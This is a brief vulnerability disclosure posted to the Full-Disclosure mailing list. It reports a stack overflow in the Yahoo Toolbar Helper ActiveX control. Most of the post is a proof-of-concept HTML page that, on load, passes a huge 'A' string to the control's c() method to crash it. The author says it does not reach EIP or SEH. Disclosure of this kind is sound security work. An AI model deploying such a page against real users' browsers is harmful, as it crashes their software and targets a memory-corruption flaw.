There is a stack overflow in the c() method of the Yahoo Toobar Helper class.
This overflow does not appear to get anywhere near the EIP or SEH. PoC as
follows:
----------------------
<!--
written by e.b.
-->
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = "AAAA";
while (s.length < 999999) s=s+s;
var obj = new ActiveXObject("yt.ythelper.2");
//{02478D38-C3F9-4EFB-9B51-7695ECA05670}
obj.c(s);
}
</script>
</head>
<body onload="JavaScript: return Check();">
</body>
</html>
----------------------
Elazar
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
